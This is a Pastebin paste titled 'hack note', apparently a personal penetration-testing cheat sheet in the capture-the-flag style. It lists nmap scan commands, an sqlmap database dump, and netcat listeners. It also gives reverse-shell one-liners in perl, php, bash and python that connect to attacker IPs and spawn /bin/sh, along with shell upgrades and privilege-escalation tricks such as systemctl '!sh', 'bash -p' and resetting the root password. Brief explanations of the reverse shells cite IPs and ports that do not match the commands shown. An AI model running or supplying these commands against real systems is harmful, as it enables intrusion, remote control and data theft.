Advertisement
xerocool-101

hack note

Feb 15th, 2024
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.26 KB | None | 0 0
  1. sudo nmap -sSV IP-Address
  2. sudo nmap -sC -sV -Pn IP-Address
  3. sudo nmap -sV -f -vv -Pn IP-Address
  4. sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP-Address
  5. sudo nmap -p80,22 -sC -sV IP-Address -oN targeted
  6.  
  7. puttygen key.txt -O private-openssh -o id_rsa
  8. ssh -i id_rsa [email protected]
  9.  
  10.  
  11. python3 -c 'import pty; pty.spawn("/bin/sh")'
  12.  
  13. sudo -i passwd root
  14.  
  15. sudo systemctl status trail.service --> !sh
  16.  
  17. sqlmap -r request.req -p id --dump
  18.  
  19. nc -nlvp 8080
  20. nc 127.0.0.1 8080
  21. nc 127.0.0.1 8080 –e /bin/bash
  22. nc.exe 127.0.0.1 8080 –e cmd.exe
  23.  
  24. perl -e ‘use Socket;$i=”192.168.100.113″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
  25.  
  26. php -r ‘$sock=fsockopen(“192.168.100.113”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’
  27.  
  28. Command:
  29.  
  30. bash -i >& /dev/tcp/10.10.14.46/8443 0>&1
  31.  
  32. Explanation:
  33.  
  34. This command uses bash to create a network connection with the IP address 192.168.56.102 over port 8080. In order for this to work, the host 192.168.56.102 must have some sort of listener like netcat or Metasploit's multi/handler actively listening on port 8080. Bash -i makes an interactive instance of bash. First of all, there are three default files in bash. stdin which is standard input such as from the keyboard, stdout which is standard output such as the terminal, and stderr which is standard error, which is where errors are ouput. The file descriptors for stdin, stdout, and stderr are 0, 1, and 2 respectively. The >& causes it to send standard output and standard error to be sent through the connection /dev/tcp/192.168.56.101/8080, and 0>&1 sets standard input to be read through the connection.
  35.  
  36.  
  37. Command:
  38.  
  39. python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.46",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  40.  
  41. python3 import socket,os,pty;s=socket.socket();s.connect(("<10.10.14.46>",2222));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
  42.  
  43.  
  44. Explanation:
  45.  
  46. This next command is a simple one liner that uses Python code to import the socket library, and initiate a network socket to the IP address and port specified within s.connect, which will connect to the listening server.
  47.  
  48.  
  49. Command:
  50.  
  51. python3 -c 'import pty; pty.spawn("/bin/sh")'
  52.  
  53. Explanation:
  54.  
  55. Let's take a look at this simple command here. This is a Python one liner to import the pty library which handles pseudo terminal utilities, and attempts to spawn a /bin/sh shell.
  56.  
  57.  
  58. Command:
  59.  
  60. /bin/sh -i
  61.  
  62. ./bin/bash -p
  63.  
  64. Explanation:
  65.  
  66. This command spawns a /bin/sh shell by trying to run the command interactively with the -i switch.
  67.  
  68. sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
  69.  
  70. Resources:
  71. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  72. https://www.tldp.org/LDP/abs/html/io-redirection.html
  73. https://unix.stackexchange.com/questions/116010/meaning-of-bash-i-dev-tcp-host-port-01
  74. https://netsec.ws/?p=337
  75. https://github.com/alexxy/netdiscover
  76. https://highon.coffee/blog/nmap-cheat-sheet/
  77. https://cirt.net/Nikto2
  78. https://tools.kali.org/web-applications/dirb
  79.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement